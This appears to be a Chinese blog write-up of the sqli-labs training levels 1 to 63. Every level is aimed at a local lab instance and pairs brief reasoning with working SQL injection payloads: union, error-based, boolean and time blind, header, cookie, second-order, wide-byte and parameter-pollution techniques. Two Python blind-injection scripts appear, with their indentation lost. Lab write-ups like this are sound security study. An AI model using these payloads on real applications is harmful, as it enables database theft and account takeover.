sqli-labs 通关笔记

Posted by inhann on 2021-01-21
Page views

[toc]

菜鸡不会sqli,所以练练,就把sqli-labs刷完了,这里记录一下每一题的大体思路和payload

文末小结里有sqli一些知识点的思维导图,有需要可自取

less-1

1
http://localhost:12345/Less-1/?id=' or 1=1%23

可以

目的是得到所有字段的数据

1
http://localhost:12345/Less-1/?id=' union select 1,2,3%23

直接union select 得到字段位置

image-20210119143315969

1
http://localhost:12345/Less-1/?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

得到所有表命名

image-20210119143638242

差不多了

less-2

id 是 numeric value

image-20210119143901007

差不多了

less-3

1
http://localhost:12345/Less-3/?id=1 order by 5%23

无论order by 多少,都没用,这里可能是

1
where id = ('input')

并且id的类型为var char

所以1 order by 5%23 会被当做string,从而转换成1处理

这样就行

1
http://localhost:12345/Less-3/?id=') union select 1,2,3%23

image-20210119145440060

完成了绕过

less-4

尝试单引号没有报错

但是尝试双引号就报错了

image-20210119145732828

1
where id = ("$a = $_GET['id']")

而且还有个括号要绕过

所以是这样

1
http://localhost:12345/Less-4/?id=0") union select 1,2,3%23

差不多

less-5

' 发现报错

猜测

1
select * from users where id='input' LIMIT 0,1;

但是这里成功会返回You are in ,失败会报错

即select 的信息不回回显

那咋办呢

image-20210119150621876

报错注入,可以得到一些基本信息

写盲注脚本,虽然跑脚本比较费时间,但是几乎所有信息都可以获得

1
http://localhost:12345/Less-5/?id=1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))%23
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# coding=utf-8
import requests

class BoolSqlier:
url = ""
def __init__(self,database=""):
self.database = database
self.url = BoolSqlier.url

def get_database(self):

def send_request(i,mid):

payload = "1'and(ascii(substr(database(),{},1))>{})#".format(i,mid)
params = {"id":payload}
resp = requests.get(self.url,params=params)
return resp

def database_i_ascii_bt_mid(resp):
if "You are in..........." in resp.text:
return True
else:
return False

database=""
for i in range(1,50):
#head 和 tail 决定了database的字符的取值范围
head=32
tail=127
while head<tail:
mid=(head+tail)>>1
resp = send_request(i,mid)

if database_i_ascii_bt_mid(resp):
head=mid+1
else:
tail=mid
if(head!=32):
database+=chr(head)
print(database)
self.database = database
print(database)



if __name__ == "__main__":
BoolSqlier.url = "http://localhost:12345/Less-5/"
sqli = BoolSqlier()
sqli.get_database()

差不多了

less-6

单引号不会报错

image-20210119182324267

原因可能是

  • 用的双引号
  • addslashes

暂时不确定有没有用到括号

试一下双引号

image-20210119182820731

报错了

1
http://localhost:12345/Less-6/?id=1"%23

可以

说明没有括号()

剩下的就是报错注入注基本信息,布尔盲注注具体字段信息了

1
http://localhost:12345/Less-6/?id=1" and (extractvalue(1,concat(0x7e,(select database()),0x7e)))%23

image-20210119183035689

less-7

image-20210119185034862

1
You are in.... Use outfile......

要往外写文件

?id=1' 报错

?id=1'%23 报错

都是 You have an error in your SQL syntax

闭合处出现 syntax error,一般考虑三个

  • )
  • 多个 )

那就试试看括号

?id=1')%23 syntax error

但是两个括号,就成了

?id=1'))%23

image-20210119185602815

接下来就是outfile了

1
?id=1')) union select 1,2,3%23

没问题,是三个

1
?id=1')) UNION SELECT 1,2,3 into outfile "hello.txt"%23

less-8

‘ 没有信息了,估计报错了,但是报错信息不返回

?id=1'%23 就又行了

image-20210119191613590

但是还是没有回显select的内容

看来只能盲注

先试试看有没有过滤什么的

1
?id=1' and ascii(substr(database(),1,1))>0%23

没有错,说明能用

而很大程度上,有这个就够了,就能注出所有东西

1
?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>80%23

less-9

感觉好像无论输入什么,返回的都是 You are in……

image-20210119195158190

没办法

只能用时间盲注

1
http://localhost:12345/Less-9/?id=1' and If(ascii(substr(database(),1,1))>115,1,sleep(5))%23

而且,我的firefox会一卡一卡的,所以要换个浏览器,不然对判断会有很大的影响

less-10

image-20210119195623611

貌似又要盲注

image-20210119195734373

而且是时间盲注

less-11

image-20210119195816927

不一样了,要输入的有两个东西

抓包看一看,是POST,传入的是username和passwd

image-20210119195937251

尝试一下 加 ‘

发现两个参数都有报错,说明都可以是注入点

image-20210119200153496

不知道这两个参数是用在同一个还是不同的sql语句里面,可以试试看

1
uname=1'%23&passwd=hello'&submit=Submit

image-20210119200723374

说明passwd和uname在同一个语句中,且passwd在后面,所以被注释掉了,没有报错

1
uname=1' order by 1,2%23&passwd=hello'&submit=Submit

order by 2可以,order by 3不行

所以很明显了

1
uname=1' union select 1,2%23&passwd=hello'&submit=Submit

image-20210119200951582

结果有回显

而且没什么过滤,那就随便整了

1
uname=1' union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&passwd=hello'&submit=Submit

image-20210119201146925

没问题

less-12

还是两个输入

‘ 没报错

“ 报错

image-20210119201407977

1"%23 还是报错syntax error

说明还没闭合好,加个)

1
uname=1")%23&passwd=1&submit=Submit

可以了

1
uname=1") union select 1,2%23&passwd=1&submit=Submit

image-20210119201826130

1
uname=1") union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&passwd=1&submit=Submit

image-20210119201940984

没问题

les-13

两个输入

1
uname=1')%23&passwd=1&submit=Submit

没问题

会报错,但是select的不会回显

所以就只能用报错注入,或者盲注

1
uname=1') and (extractvalue(1,concat(0x7e,(select database()),0x7e)))%23&passwd=1&submit=Submit

image-20210119202440814

1
uname=1') and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>80%23&passwd=1&submit=Submit

没问题

那些脚本就能跑出所有东西了

less-14

双引号,报错,所以就是用双引号闭合的

image-20210120150310498

1
uname=1" and updatexml(1,concat(0x7e,(database()),0x7e),null) %23&passwd=1&submit=Submit

image-20210120151233322

爆个表名玩玩

1
uname=1" and updatexml(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),null)%23&passwd=1&submit=Submit

image-20210120151942899

less-15

“ 和 ‘ 都没有报错,可能是扣留了报错的信息,比如给php变量前加个 @

试了一下 uname=' or 1=1%23&passwd=1&submit=Submit 有个图片返回,这就可以说明是否访问成功了,图片叫做flag.jpg

image-20210120153249874

image-20210120153412704

尝试出column num 为2

1
uname=' union select 1,2%23&passwd=1&submit=Submit

image-20210120153559333

1
uname=admin' or 1=1%23&passwd=1&submit=Submit

不出所料,有个user叫做admin

那下面就布尔盲注了

1
uname=admin' and left(database(),1)='s'%23&passwd=1&submit=Submit

less-16

没有报错,只有俩图片

1
uname=admin")%23&passwd=1&submit=Submit

image-20210120154550935

一样的,布尔盲注

1
uname=admin")and left(database(),1)='s'%23&passwd=1&submit=Submit

image-20210120154648013

less-17

image-20210120162728262

重置密码

1
2
3
4
5
6
7
8
9
uname=1' or 1=1%23
uname=1" or 1=1%23
uname=1 or 1=1%23
uname=1') or 1=1%23
uname=1") or 1=1%23
uname=1) or 1=1%23
uname=1')) or 1=1%23
uname=1")) or 1=1%23
uname=1)) or 1=1%23

都没用

又想到这是个passwd reset的页面,因此可能用到了update

可能有类似这样的语句被执行

1
update table_name set password = '$passwd' where username = '$username'

因而,passwd处就可能有一个update注入,而且可能是set后面那个值

试试看报错注入

1
uname=admin&passwd=1' AND updatexml(1,concat(0x7e,(select user()),0x7e),1)#&submit=Submit

image-20210120170313456

那没事了

1
uname=admin&passwd=1' and updatexml(null,concat(0x0a,(select group_concat(table_name) from information_schema.tables where table_schema=database())),null)#&submit=Submit

所有表名

image-20210120170448801

less-18

image-20210120170623639

竟然还显示了ip

1
uname=admin&passwd=admin&submit=Submit

还返回了这些User Agent的信息

image-20210120171917926

根据提示,是Header Injection

看了一下源码

1
2
3
4
5
6
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

echo 'Your User Agent is: ' .$uagent;

果然是头部注入,而且可以报错的

那我就修改一下User-Agent

1
' AND updatexml(1,concat(0x7e,(select user()),0x7e),1) AND '

image-20210120171848459

image-20210120171837216

less-19

显示ip

image-20210120172155150

这次是Referer

1
' AND updatexml(1,concat(0x7e,(select user()),0x7e),1) AND '

image-20210120172329237

image-20210120172315386

less-20

image-20210120172523016

估计这回要改cookie了

源码这样

1
2
3
$cookee = $_COOKIE['uname'];
.......
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";

设置一个名为 uname的cookie

1
hello' AND updatexml(1,concat(0x7e,(select user()),0x7e),1)#

image-20210120175110298

less-21

还是cookie,但是更复杂了

image-20210120175622603

看来被base64了

1
2
3
4
$cookee = $_COOKIE['uname'];
$cookee = base64_decode($cookee);
......
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";

对payload进行base64编码

1
hello' AND updatexml(1,concat(0x7e,(select user()),0x7e),1)#
1
aGVsbG8nIEFORCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IHVzZXIoKSksMHg3ZSksMSkj

less-22

双引号

1
" AND updatexml(1,concat(0x7e,(select user()),0x7e),1)#
1
IiBBTkQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB1c2VyKCkpLDB4N2UpLDEpIw%3D%3D

image-20210120182606166

less-23

熟悉的一个注入点

image-20210120182914559

双引号不会报错,单引号会报错

image-20210120183734895

加个注释,还是报错

image-20210120183805290

而且显示,我加的注释#消失了,估计是replace了

换其他的试试看–+ 也不行

那索性就不要注释了,直接用’闭合

1
?id=1'or+1=1+or'1

试试看报错注入

1
?id=1'AND%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1)+or'1

image-20210120184711508

less-24

image-20210120184852156

哇,看来是新题型

注册了个hello,密码也是hello,然后登陆了进去

image-20210120185034544

登录后,唯一能做的就是改密码

改密码的时候抓包,估计Auth就是用来辨别身份的

image-20210120191401981

image-20210120191449447

成功

后端修改密码的代码会是怎么样呢

1
2
3
$username= $_SESSION["username"];
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');

可见username直接参与到了sql语句里面

那就注册一个 admin'# ,然后修改密码,就可以把admin的密码给改掉了

注册的代码

1
$username=  mysql_escape_string($_POST['username']) ;

刚好进行了转义,这样就可以顺利存储admin’#账号了

密码是hello

image-20210120195356111

接下来进入修改密码的环节

image-20210120195644463

现在,damin的密码就是h了

image-20210120195811358

成功

less-25

image-20210120195858667

提示不能用and 和 or

还会打印过滤后的字符串

image-20210120200020279

1
?id=1'%23

不能and和or好像也不是很重要

image-20210120200254725

但是我的order 被过滤了

不过无妨

columns num 为3

image-20210120200348685

该干嘛干嘛

报错注入照常用

image-20210120200641510

less-26

image-20210120200827069

没有空格和comments了??

那就用单引号闭合了,但是看样子or和and都一样被过滤了

image-20210120201610071

但是,or和and的过滤是可以绕过的,可以用 || 来代替 or ,用 && 来代替 and

1
?id=1'||(1=1)||'

image-20210120202418342

用报错注入

1
?id=1'||extractvalue(1,concat(0x7e,user(),0x7e))||'

image-20210120203759673

但是当我想用information_schema的时候,却发现or被过滤了

好像就到此为止了

less-27

image-20210120205719179

这次是union和select不能用

过滤了#,空格,好在这次or没有过滤

空格可以用特殊字符来绕过%0a

union select 真弄的死死的可能性不大,试试看,最后发现可以大小写绕过

报错注入,yyds

image-20210120210451232

大小写成功绕过

1
?id=1'||updatexml(1,concat(0x7e,(seLect/%0auser()),0x7e),1)||'

image-20210120210718815

1
?id=1'||updatexml(1,concat(0x7e,(updatexml(rand(),concat(0x3a,(SELeCT%0aconcat(CHAR(126),group_concat(TABLE_NAME),CHAR(126))%0aFROM%0ainformation_schema.TABLES%0aWHERE%0atable_schema=database())),null)),0x7e),1)||'

image-20210120212017879

less-28

image-20210120212108358

加强了

一样过滤了#

1
?id=2'and(1=1)and'1

image-20210120213657517

可见仅仅是单引号不足以闭合

image-20210120213826992

但是单引号会引起报错,所以肯定有括号没有闭合

1
?id=2')and(1=1)and('1

经过尝试,前后都有括号,补上

image-20210120213932996

union和select单独并未被过滤,看来是 union select 被过滤了,而且忽略大小写

双写绕过

1
unionunion%09select%09select

image-20210120212635661

没有报错回显,所以没法报错注入

1
?id=0')unionunion%09select%09select(1),(database()),1%09and('1

image-20210120214205371

可见,即使没法用注释,一样可以union select 注入

less-29

image-20210120214332256

闭合

1
?id=1'%23

union select

image-20210120215925076

使用超级payload

1
?id=0' union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)%23

image-20210120220051754

怀疑根本就没有任何防御

实际上,主角不是这个index.php

而是login.php

image-20210120220604740

是关于java和tomcat的

试试看闭合,尝试?id=1’结果是跳转到hacked.php页面,尝试id=1’%23结果还是跳转到hacked.php页面,尝试?id=1’)%23和?id=1’))%23,都是一样的,跳转到hacked.php页面

没辙了,分析一波源码

1
$id1=java_implimentation($qs);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);


foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}

可见 $id1 的值是query_string中第一个名为id的值

1
whitelist($id1);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}

可见 $id1 只能全是数字,否则就会跳转到hacked.php

而最终参与sql语句的是 $id

1
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

提示有两个pdf

https://owasp.org/www-pdf-archive/AppsecEU09_CarettoniDiPaola_v0.8.pdf

https://community.qualys.com/servlet/JiveServlet/download/38-10665/Protocol-Level%20Evasion%20of%20Web%20Application%20Firewalls%20v1.1%20(18%20July%202012).pdf

里面有需要的知识点

image-20210120222527706

image-20210120222447856

可见 对待多个相同名字的不同参数,不同的HTTP back-ends 有不同的处理方式

其中,php是取最后出现的那个为实际使用参数

所以,答案就显而易见了

使用超级payload

1
id=1&id=0' union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)%23

image-20210120223001087

less-30

login.php才是主角

image-20210120223430630

直接分析源码了

换汤不换药,这次是双引号

1
id=1&id=0" union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)%23

image-20210120223714110

less-31

和 less-29、less-30一样,就是这次是 )”

1
id=1&id=0") union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)%23

less-32

image-20210120223906769

会被escape,而且推测id的类型为int

image-20210120224114512

报错不会回显

image-20210120224307444

那就只能试试宽字节了

1
?id=%df%27 or 1=1%23

成功

image-20210120224418287

接下来就是为所欲为了

1
?id=%df%27 union select 1,2,group_concat(schema_name) from information_schema.schemata%23

image-20210120224738271

less-33

还是会escape

1
?id=%df%27 union select 1,2,group_concat(schema_name) from information_schema.schemata%23

和上局一样

image-20210120225010194

less-34

image-20210120225101790

变成俩输入了

而且还是会escape

会报错

1
uname=%df%27 or %23&passwd=admin&submit=Submit

image-20210120225502783

所以可以报错注入了

1
uname=%df%27 AND updatexml(1,concat(0x7e,(select user()),0x7e),1)%23&passwd=admin&submit=Submit

image-20210120225634952

less-35

还是会escape

闭合

?id=%df%27?id=%df" 都报错,说明没有用到引号

1
?id=1%23

escape是唬人的

1
id=0 union select 1,2,group_concat(schema_name) from information_schema.schemata%23

image-20210120230800220

less-36

还是说有escape

闭合

1
?id=%df%27 or 1=1%23

报错不回显

1
?id=%df%27 union select 1,2,group_concat(schema_name) from information_schema.schemata%23

image-20210120231310079

less-37

两个输入

闭合

1
uname==%df'%23&passwd=admin&submit=Submit

有报错回显

1
uname==%df' union select 1,group_concat(schema_name) from information_schema.schemata%23&passwd=admin&submit=Submit

image-20210120231921648

less-38

1
?id=0' union select 1,2,3%23

image-20210120232334394

感觉没什么防护

1
?id=0' union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)%23

image-20210120234746825

less-39

闭合

1
?id=1%23

没有引号

1
?id=0 union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)%23

image-20210121110723299

less-40

闭合

1
?id=1')%23
1
?id=0') union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)%23%23

image-20210121111041676

less-41

闭合

1
?id=1%23
1
?id=0 union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)%23

image-20210121112018887

less-42

有两个输入

image-20210121112430298

无论点击什么,好像都没啥用,这两个输入不知道有没有参与sql语句,试一试

login_user=admin"login_user=admin' 都没有什么报错,可能没有注入点,login_password=admin' 就报错了,说明login_passwd可以是注入点

闭合

1
login_user=1&login_password=admin'%23&mysubmit=Login

用报错注入

1
login_user=1&login_password=admin'AND updatexml(1,concat(0x7e,(select user()),0x7e),1)%23&mysubmit=Login

image-20210121112932139

也可以这样登录admin

1
login_user=admin&login_password=1'or 1#

image-20210121113359396

less-43

闭合

1
login_user=admin&login_password=admin')%23

passwd 是注入点

登录admin账号

1
login_user=admin&login_password=admin') or 1#

image-20210121113902374

less-44

没有报错,找不到注入点

看源码

1
2
3
4
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql))

知道passwd是注入点

登录admin

1
login_user=admin&login_password=' or 1=1#

image-20210121125751221

less-45

用引号靠报错,还是没法找到注入点

看源码

1
2
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
if (@mysqli_multi_query($con1, $sql))

登录admin

1
login_user=admin&login_password=admin')or 1#

image-20210121131558315

less-46

image-20210121131650460

有点变化,参数是sort

1
?sort=1

image-20210121131739030

1
?sort=2

image-20210121131823654

1
?sort=3

image-20210121131931952

分别按id、username、password升序排列

可能是用到了order by

报错注入

1
?sort=1 AND updatexml(1,concat(0x7e,(select user()),0x7e),1)

image-20210121132459622

less-47

闭合

1
?sort=1'%23

直接报错注入

1
?sort=1'AND updatexml(1,concat(0x7e,(select user()),0x7e),1)%23

image-20210121135008540

less-48

会报错,但是报错信息不回显

看来只能盲注了

1
?sort=1 and left(version(),1)=5

image-20210121140852393

less-49

闭合

1
?sort=2'%23

报错不回显

一样用盲注

1
?sort=2' and left(version(),1)=5%23

image-20210121141804847

less-50

回显报错

1
?sort=2 AND updatexml(1,concat(0x7e,(select user()),0x7e),1)

image-20210121142547017

less-51

闭合

1
?sort=2'%23
1
?sort=2'AND updatexml(1,concat(0x7e,(select user()),0x7e),1)%23

报错注入

image-20210121142832726

less-52

不回显报错

盲注

1
?sort=2 and left(version(),1)=5

image-20210121143303034

less-53

闭合

1
?sort=2'%23

报错不回显

无论sort等于什么,都回显同样的内容,也没办法布尔盲注了,只能时间盲注了

1
?sort=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))%23

less-54

image-20210121145644986

要从CHALLENGES 这个database中找出secret key的值

用id作注入点

1
?id=0' union select 1,2,3%23

image-20210121150912785

接下来要看challenges的表名、字段名

使用超级payload

1
?id=0' union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)%23

找到信息

1
2
3
4
[ challenges ] > T7AX15TTDL > id|
[ challenges ] > T7AX15TTDL > sessid|
[ challenges ] > T7AX15TTDL > secret_NB98|
[ challenges ] > T7AX15TTDL > tryy|

再次使用超级payload

1
?id=0' union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (challenges.T7AX15TTDL) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',secret_NB98,' ] > ',tryy,' > ',0x7C))))a)%23

image-20210121154651410

1
00QTSD2NrEA450P4Dx0Ebl68

成功

image-20210121154726007

less-55

一样的,找key

闭合

1
?id=1)%23

报表、字段

1
?id=0) union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)%23
1
2
3
4
[ challenges ] > F9CD4IEXCM > id|
[ challenges ] > F9CD4IEXCM > sessid|
[ challenges ] > F9CD4IEXCM > secret_XYU3|
[ challenges ] > F9CD4IEXCM > tryy|

爆key

1
?id=0) union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (challenges.F9CD4IEXCM) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',secret_XYU3,' ] > ',tryy,' > ',0x7C))))a)%23

image-20210121155207034

1
66ochPNMZSpRBWYs6isAniPu

less-56

闭合

1
?id=1')%23

爆表和字段

1
?id=0') union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)%23
1
2
3
4
[ challenges ] > 4CGK8MNQEA > id|
[ challenges ] > 4CGK8MNQEA > sessid|
[ challenges ] > 4CGK8MNQEA > secret_9O3N|
[ challenges ] > 4CGK8MNQEA > tryy|

爆key

1
?id=0') union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (challenges.4CGK8MNQEA) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',secret_9O3N,' ] > ',tryy,' > ',0x7C))))a)%23

image-20210121155715020

1
CivPbcRci7gkyld4mT8yk6K7

less-57

闭合

1
?id=1"%23

爆表和字段

1
?id=0" union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)%23
1
2
3
4
[ challenges ] > IAZ0INFM54 > id|
[ challenges ] > IAZ0INFM54 > sessid|
[ challenges ] > IAZ0INFM54 > secret_OPLK|
[ challenges ] > IAZ0INFM54 > tryy|

爆key

1
?id=0" union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (challenges.IAZ0INFM54) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',secret_OPLK,' ] > ',tryy,' > ',0x7C))))a)%23

image-20210121160120151

1
COwmHaOTl7yQlbqef4fNntlx

less-58

闭合

1
?id=1'%23

union select 的值出乎所料

image-20210121160531439

但是报错还是会的

所以用报错注入

1
?id=0' union select 1,2,3 AND updatexml(1,concat(0x7e,(select user()),0x7e),1)%23

image-20210121170446791

爆出表名

1
?id=0' union select 1,2,3 AND updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23

image-20210121171127295

1
4Z1LZW5DB9

爆出字段名

1
?id=0' union select 1,2,3 AND updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='4Z1LZW5DB9'),0x7e),1)%23

image-20210121171340552

1
secret_0ICC

爆出要的数据

1
?id=0' union select 1,2,3 AND updatexml(1,concat(0x7e,(select group_concat(secret_0ICC) from `4Z1LZW5DB9`),0x7e),1)%23

image-20210121171641645

1
alKMNGS3OPtJlcDZ05HkP0NH

最后看了看源码

1
2
3
4
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = ($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo 'Your Password : ' .$pass[$row['id']];

id只是作为数组的索引而已,怪不得没有想要的东西回显

less-59

闭合

1
?id=1%23

爆出表名

1
?id=0 union select 1,2,3 AND updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23

image-20210121172236744

1
881IWOX5RE

爆出字段名

1
?id=0 union select 1,2,3 AND updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='881IWOX5RE'),0x7e),1)%23

image-20210121172336841

1
secret_UPSN

爆出数据

1
?id=0 union select 1,2,3 AND updatexml(1,concat(0x7e,(select group_concat(secret_UPSN) from `881IWOX5RE`),0x7e),1)%23

image-20210121172607215

1
7KBs5lsx2O03oqzMhxJSBwrp

less-60

闭合

1
?id=1")%23

表名

1
?id=1") union select 1,2,3 AND updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23
1
H0NBLL5CGP

字段名

1
?id=1") union select 1,2,3 AND updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='H0NBLL5CGP'),0x7e),1)%23
1
secret_8RQ5

key

1
?id=1") union select 1,2,3 AND updatexml(1,concat(0x7e,(select group_concat(secret_8RQ5) from `H0NBLL5CGP`),0x7e),1)%23
1
rDktDmwezZTBsJMuXYdvbwGT

less-61

闭合

1
?id=1'))%23

表名

1
?id=1')) union select 1,2,3 AND updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23%23
1
U76MT1471B

字段

1
?id=1')) union select 1,2,3 AND updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='U76MT1471B'),0x7e),1)%23
1
secret_Y380

key

1
?id=1')) union select 1,2,3 AND updatexml(1,concat(0x7e,(select group_concat(secret_Y380) from `U76MT1471B`),0x7e),1)%23
1
Q0AkPbVJH0TwTF8CIi7B2gwt

less-62

闭合

1
?id=1')%23

没有报错注入

union select 也没有想要的结果

看来只能盲注了

这是false的时候

image-20210121173940829

这是true的时候

image-20210121174009901

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import requests
session = requests.session()
url = "http://localhost/sqli-labs/Less-62/"
what_i_want = ""
table_name = ""
column_name = ""
key = ""
count = 0
text = ""
for i in range(1,30):
def what_i_want_i_less_than_or_equal_mid(mid):
global count
count += 1
print("on the {}th request now.... ".format(count))
payload = "1') and ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<={}#".format(i,mid)
params = {"id":payload}
resp = session.get(url=url,params=params)
if "Angelina" in resp.text:
return True
return False

print("--"*70,"table_name")
print("processing the {}th char now.... ".format(i))
low = 32
high = 127
while low < high:
mid = (low + high)>>1
if what_i_want_i_less_than_or_equal_mid(mid):
high = mid
else:
low = mid + 1
print("{}th request completed!!!".format(count))

if low==32:
break
table_name+=chr(low)
print(table_name)
count = 0
print("!!"*70)
print("This is Your Loved table_name!!!!!!!!!!")
print(table_name)


for i in range(1,30):
def what_i_want_i_less_than_or_equal_mid(mid):
global count
count += 1
print("on the {}th request now.... ".format(count))
payload = "1') and ascii(mid((select group_concat(column_name) from information_schema.columns where table_name='{}'),{},1))<={}#".format(table_name,i,mid)
params = {"id":payload}
resp = session.get(url=url,params=params)

if "Angelina" in resp.text:
return True
return False

print("--"*70,"column_name")
print("processing the {}th char now.... ".format(i))
low = 32
high = 127
while low < high:
mid = (low + high)>>1
if what_i_want_i_less_than_or_equal_mid(mid):
high = mid
else:
low = mid + 1
print("{}th request completed!!!".format(count))

if low==32:
break
column_name+=chr(low)
print(column_name)
count = 0
import re
pattern = "secret_...."
column_name = re.findall(pattern,column_name)[0]
print("!!"*70)
print("This is Your Loved column_name!!!!!!!!!!")
print(column_name)

for i in range(1,30):
def what_i_want_i_less_than_or_equal_mid(mid):
global count
count += 1
print("on the {}th request now.... ".format(count))
payload = "1') and ascii(mid((select group_concat({}) from challenges.{}),{},1))<={}#".format(column_name,table_name,i,mid)
print(payload)
params = {"id":payload}
resp = session.get(url=url,params=params)
#print(resp.text)
# if mid==79:
# print(resp.text)
if "Angelina" in resp.text:
return True
return False

print("--"*70,"key")
print("processing the {}th char now.... ".format(i))
low = 32
high = 127
while low < high:
mid = (low + high)>>1
if what_i_want_i_less_than_or_equal_mid(mid):
high = mid
else:
low = mid + 1
print("{}th request completed!!!".format(count))

if low==32:
break
key+=chr(low)
print(key)
count = 0

print("!!"*70)
print("This is your loved key!!!!!!!!!!")
print(key)

image-20210121230005217

1
zmqPWuhaQ6aWMJdissqGxwMk

less-63

闭合

1
?id=1'%23

报错不回显,可以布尔盲注

